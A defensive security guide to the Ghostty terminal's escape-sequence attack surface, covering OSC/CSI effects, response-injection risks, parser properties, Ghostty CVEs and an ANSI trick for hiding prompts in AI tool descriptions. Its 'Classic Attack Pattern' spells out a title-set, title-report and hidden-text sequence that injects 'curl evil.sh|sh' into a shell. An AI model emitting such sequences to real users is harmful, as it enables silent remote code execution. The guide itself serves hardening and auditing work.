- name
- modding-ghostty
- description
- Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.
# Modding Ghostty
Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states.
## Trigger Conditions
- Analyzing terminal escape sequence security
- Auditing libghostty or apps built on it (cmux, etc.)
- Fuzzing VT parsers / OSC handlers
- Understanding what escape sequences change on the user's screen
- Building terminal-aware security tools
## Architecture: libghostty VT Parser
```
Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions
|
State Machine
(14 states, compile-time table)
```
Key files in ghostty-org/ghostty:
```
src/terminal/Parser.zig # State machine (14 states)
src/terminal/stream.zig # Stream wrapper + SIMD
src/terminal/osc.zig # OSC parser (2048-byte fixed buffer)
src/terminal/dcs.zig # DCS handler (1MB limit)
src/terminal/parse_table.zig # Compile-time transition table
src/simd/vt.zig # SIMD acceleration
```
## Visual Effects Map: What Each OSC Changes On Screen
```
+---------------------------------------------------------------------+
| * * * Terminal Window Title (OSC 0, 1, 2) - [] X |
+---------------------------------------------------------------------+
| |
| Tab Bar: [ ~/projects v ] [ SSH: server ] [ vim ] |
| ^^^^^^^^^^^^^^^^ |
| OSC 7 sets this OSC 2 sets tab title |
| (working directory) |
| |
+--- Terminal Content Area -------------------------------------------|
| |
| $ cat README.md |
| |
| This is normal text <-- ground state: just prints codepoints |
| |
| ==================== <-- OSC 4/10/11 change THESE colors: |
| = foreground on ba = <-- 10 = text color |
| = ckground colors = <-- 11 = background } you see the |
| ==================== <-- 12 = cursor color } palette shift |
| 4 = palette[0-255] instantly |
| |
| Click here for docs <-- OSC 8 hyperlink: UNDERLINED text, |
| ~~~~~~~~~~~~~~~~~~ cursor becomes pointer on hover |
| (OSC 22 changes pointer shape too) |
| |
| $ echo "copied!" |
| +------------------+ |
| | CLIPBOARD | <-- OSC 52 write: you see NOTHING on |
| | (invisible) | screen. It silently changes what |
| | "malicious addr" | Cmd+V pastes next. No visual cue. |
| +------------------+ |
| |
| $ pwd |
| /Users/alice/projects <-- OSC 7: NOTHING changes in content area. |
| But tab/title bar updates, and |
| "New Tab" will open HERE |
| |
| $ _ <-- OSC 12 changed cursor to this color |
| ^cursor |
| |
+--- What's INVISIBLE (the dangerous part) ---------------------------|
| |
| OSC 52 READ --> ? sent to terminal |
| terminal writes clipboard contents |
| BACK INTO STDIN (as if you typed it) |
| +------------------------------------+ |
| | $ rgb:ff/ff/ff | < color |
| | $ secret-api-key-from-clipboard | < clipboard|
| | $ My Private Window Title | < title |
| +------------------------------------+ |
| YOU SEE THESE APPEAR AS IF YOU TYPED THEM |
| (the "response injection" class of attacks) |
| |
| CSI 21t --> Reports title back as keystrokes |
| DECRQSS --> Reports settings back as keystrokes |
| OSC 10-12? --> Reports colors back as keystrokes |
| |
+---------------------------------------------------------------------+
```
## Visibility Matrix
```
VISIBLE INVISIBLE INVISIBLE
ON SCREEN BUT MODIFIES STDIN INJECTION
(you notice) STATE (most dangerous)
--------------- -------------- ----------------
OSC 0 (icon+title) title bar Y
OSC 1 (icon) (unimplemented)
OSC 2 (title) title bar Y
OSC 4 (palette) colors shift Y
OSC 7 (cwd) tab label,
new-tab path
OSC 8 (hyperlink) underline Y,
hover cursor Y
OSC 9 (notification) system notif Y
OSC 10 (fg color) text recolors Y
OSC 11 (bg color) bg recolors Y
OSC 12 (cursor color) cursor recolors Y
OSC 22 (pointer) mouse cursor Y
OSC 52 (clipboard) clipboard read -> stdin
contents
OSC 4? (query) rgb:xx/xx -> stdin
OSC 10-12? (query) rgb:xx/xx -> stdin
CSI 21t (title report) title -> stdin
DECRQSS (DCS query) settings -> stdin
```
## OSC Sequences Ranked by Traversability to Undesired States
### Tier 1: Surprisingly Traversable (High developer-surprise factor)
| # | Sequence | Undesired State | Why Surprising |
|---|----------|----------------|----------------|
| 1 | **OSC 8** (Hyperlinks) | Arbitrary code execution on click | No URI scheme validation. `file:///path/to/binary` passed directly to `NSWorkspace.open()` / `xdg-open`. Missing scheme = file path on macOS. CVE-2024-38396 (iTerm2), CVE-2025-43929 (kitty). |
| 2 | **OSC 52** (Clipboard read) | Silent clipboard exfiltration | Default `ask` but "Remember" button permanently downgrades to `allow`. No rate limiting. Once allowed, any program polls clipboard forever. |
| 3 | **OSC 2 + CSI 21t** (Title set + report) | Command injection into shell | CVE-2003-0063 (xterm 2003), CVE-2024-56803 (Ghostty 1.0.0 release day). Parser correct; policy of echoing title to PTY stdin is the flaw. |
### Tier 2: Parser-Level State Machine Risks
| # | Sequence | Undesired State | Mechanism |
|---|----------|----------------|-----------|
| 4 | Unterminated OSC (any) | Parser stuck in `osc_string` | Fixed 2048-byte buffer catches most, but OSC 52/66 with allocator has no hard memory limit. |
| 5 | C1 control codes (0x80-0x9F) | Incorrect state transition | `0x9D`=OSC, `0x9B`=CSI, `0x90`=DCS as single bytes. Bypasses naive filters. UTF-8 mode must not treat these as C1. |
| 6 | Truncated OSC (e.g. `\033]1`) | Integer overflow crash | Issue #8007: `osc.Parser.reset()` called `ArrayList.deinit` without valid allocator. Fixed in 1.2.0. |
| 7 | SOS/PM/APC passthrough | Untested state paths | Share DFA structure with DCS/OSC but rarely exercised. Least-tested code. |
### Tier 3: Handler-Layer Policy Risks
| # | Sequence | Undesired State | Mechanism |
|---|----------|----------------|-----------|
| 8 | OSC 7 (Working directory) | Path spoofing | `"localhost"` always passes `isLocal()`. Any program sets reported CWD. New tab opens in spoofed directory. |
| 9 | OSC 52 (Clipboard write) | Clipboard hijacking | Default `allow`. Any program silently overwrites clipboard. Crypto address replacement. |
| 10 | OSC 4/10-19 (Color query) | Information leakage | Responses reveal terminal theme. Feeds fingerprinting. |
| 11 | DCS DECRQSS | Response injection | CVE-2008-2383 (xterm), CVE-2022-45872 (iTerm2 CVSS 9.8). |
### Tier 4: Delivery-Layer Amplifiers
| # | Vector | Effect |
|---|--------|--------|
| 12 | Log file escape injection | `cat access.log` triggers any of the above. CVE-2009-4487. |
| 13 | npm/pip output injection | Package metadata with escape sequences. |
| 14 | MCP tool description injection | ANSI in tool descriptions hides malicious prompts (Trail of Bits 2025). |
## Parser DFA Safety Properties
### What's Well-Designed
- **`.invalid` is a proper sink state**: Once buffer overflows, all bytes discarded until reset. `end()` returns `null`.
- **No re-entrancy**: One byte at a time via `Parser.next()`. No callbacks or recursive parsing.
- **State isolation**: ESC inside `dcs_passthrough` or `osc_string` is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC -> `escape` state from `osc_string`).
- **Reset on entry**: `osc_parser.reset()` called on every transition into `osc_string`. No stale state leaks.
- **CAN/SUB abort**: `0x18` (CAN) or `0x1A` (SUB) abort any sequence from any state -> `ground`.
### What's Risky
- **OSC 52/66 allocating writer**: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory.
- **OSC 8 URI handling**: No scheme allowlist. Arbitrary URIs passed to system opener. `file://`, `ssh://`, `tel:`, custom schemes all honored.
- **"Remember" button on clipboard ask dialog**: Single click permanently downgrades `ask` -> `allow` for session.
- **No rate limiting on any response-generating sequence**: OSC 52 read, color queries, title report (when enabled) can be spammed.
## The Classic Attack Pattern
```
WHAT YOU SEE WHAT ACTUALLY HAPPENS
--------------- -----------------------
$ cat file.txt file.txt contains:
Hello world Hello world
Segmentation fault \e]2;curl evil.sh|sh\a <- set title
(core dumped) \e[21t <- report title
$ \e[8m <- HIDE TEXT
^^^ now "curl evil.sh|sh"
appears on your stdin
as if you typed it
You see "Segfault" and The injected command is
press Enter thinking invisible (\e[8m = hidden)
it's waiting for input -> SHELL EXECUTES: curl evil.sh|sh
```
## Ghostty-Specific CVEs
| CVE | Version | Severity | Description | Fix |
|-----|---------|----------|-------------|-----|
| CVE-2024-56803 | < 1.0.1 | Medium (5.1) | Title reporting (CSI 21t) enabled by default. Classic title injection RCE. | Disabled title reporting by default. |
| GHSA-q9fg-cpmh-c78x | < 1.2.0 | Medium | Privilege escalation when launched by other apps (inherits Full Disk Access). | App-level permission scoping. |
| Issue #8007 | < 1.2.0 | Medium | Truncated OSC causes integer overflow in `osc.Parser.reset()` via `ArrayList.deinit` without valid allocator. | Conditional deinit when alloc non-null. |
## Configuration Hardening
```ini
# ghostty config (~/.config/ghostty/config)
Auf GitHub ansehen